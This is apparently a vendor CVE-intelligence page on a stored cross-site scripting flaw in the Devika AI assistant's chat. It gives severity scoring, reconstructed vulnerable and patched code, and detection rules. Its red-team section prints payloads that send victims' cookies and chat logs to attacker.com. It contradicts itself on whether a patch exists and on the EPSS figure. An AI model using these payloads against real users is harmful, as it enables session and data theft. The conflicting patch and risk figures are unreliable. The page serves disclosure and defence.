☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-5711

CVE-2024-5711 Cross-Site Scripting in Stitionai
📅 PUBLISHED: 2024-07-08 00:00 UTC 🔄 UPDATED: 2026-09-23 20:16 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
11.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5711 is a stored Cross-Site Scripting (XSS) vulnerability in the Stitionai Devika chat feature. The application fails to sanitize user input on both frontend and backend, allowing attackers to inject arbitrary JavaScript. This can lead to credential theft, extraction of sensitive data from chat logs and projects, and full compromise of user sessions. The vulnerability affects all versions of Devika, and no patch has been released by the vendor. The CVSS score is 8.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Devika is a Python-based AI assistant project. The vulnerability resides in the chat component, which is part of the core application. No specific package manager (PyPI, npm, etc.) is involved, but the risk extends to any deployment of Devika. Users should treat the entire application as compromised until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must view the malicious chat message
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: High (C:H) – potential for credential and data theft
  • Integrity Impact: Low (I:L) – limited ability to modify data
  • Availability Impact: None (A:N)

Threat Level: High. Although EPSS is low, the lack of a patch and the ease of exploitation make this a significant risk for any organization using Devika.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The chat feature in Devika accepts user input and stores it in a database (likely SQLite or similar). When another user views the chat history, the stored payload is rendered without proper sanitization. The attack flow:

  1. Attacker sends a malicious payload (e.g., <script>alert('XSS')</script>) via the chat input.
  2. The backend stores the payload as-is in the database.
  3. When a victim loads the chat interface, the payload is retrieved and injected into the DOM.
  4. The victim's browser executes the JavaScript in the context of the Devika application.

The lack of input validation on both frontend (JavaScript) and backend (Python/Flask) allows this to succeed. The application likely uses innerHTML or similar methods to render chat messages without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Backend - Python/Flask):

@app.route('/chat', methods=['POST'])
def chat():
    message = request.form['message']
    # No sanitization
    db.execute("INSERT INTO messages (content) VALUES (?)", (message,))
    return "OK"

Vulnerable Code (Frontend - JavaScript):

function loadMessages() {
    fetch('/messages')
        .then(response => response.json())
        .then(data => {
            data.forEach(msg => {
                // Direct injection - vulnerable
                document.getElementById('chatbox').innerHTML += msg.content;
            });
        });
}

Patched Code (Backend):

import bleach

@app.route('/chat', methods=['POST'])
def chat():
    message = request.form['message']
    sanitized = bleach.clean(message, tags=[], strip=True)
    db.execute("INSERT INTO messages (content) VALUES (?)", (sanitized,))
    return "OK"

Patched Code (Frontend):

function loadMessages() {
    fetch('/messages')
        .then(response => response.json())
        .then(data => {
            data.forEach(msg => {
                // Safe - use textContent
                const div = document.createElement('div');
                div.textContent = msg.content;
                document.getElementById('chatbox').appendChild(div);
            });
        });
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a local instance of Devika (all versions) using Docker or manual setup.
  2. Access the chat interface at http://localhost:5000.

Exploitation Steps:

  1. Send a crafted payload via the chat input:
    <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">
    
  2. The payload is stored and executed when any user views the chat.
  3. The attacker's server receives the victim's cookies.

Advanced Payload (Steal Chat Logs):

<script>
fetch('/messages').then(r=>r.text()).then(d=>{fetch('http://attacker.com/exfil',{method:'POST',body:d})});
</script>

Blue Team

Detection:

  • Monitor for unusual outbound connections from the Devika server.
  • Look for chat messages containing <script>, <img onerror>, or other HTML event handlers.
  • Use WAF rules to block common XSS patterns.

Hunting:

  • Search logs for requests to /chat with suspicious payloads.
  • Check database for stored HTML/JavaScript in message content.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown IPs/domains from the Devika server.
  • File: Modified JavaScript files in the Devika frontend (if attacker gains code execution).
  • Log: Chat messages containing <script>, onerror, onload, or fetch calls.
  • Process: Unusual child processes spawned by the Devika application (e.g., curl, wget).

Detection Engineering

YARA Rule

rule CVE_2024_5711_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Devika chat logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5711"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<svg[^>]*onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Devika Stored XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Devika chat messages
author: Valters IT
logsource:
    category: application
    product: devika
detection:
    selection:
        event: chat_message
        message|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in chat (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5711 Devika Stored XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/chat"; http_uri; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the chat feature if not critical to operations.
  2. Apply a WAF rule to block common XSS patterns in chat input.
  3. Manually sanitize input by modifying the source code (see patched code examples above).

Long-Term Fix:

  • The vendor must release a patch that implements proper input validation and output encoding.
  • Use a Content Security Policy (CSP) to restrict script execution.
  • Regularly audit the application for similar vulnerabilities.

Workaround:

  • Restrict access to the Devika application to trusted users only.
  • Use a reverse proxy (e.g., Nginx) to filter malicious payloads.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5711/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.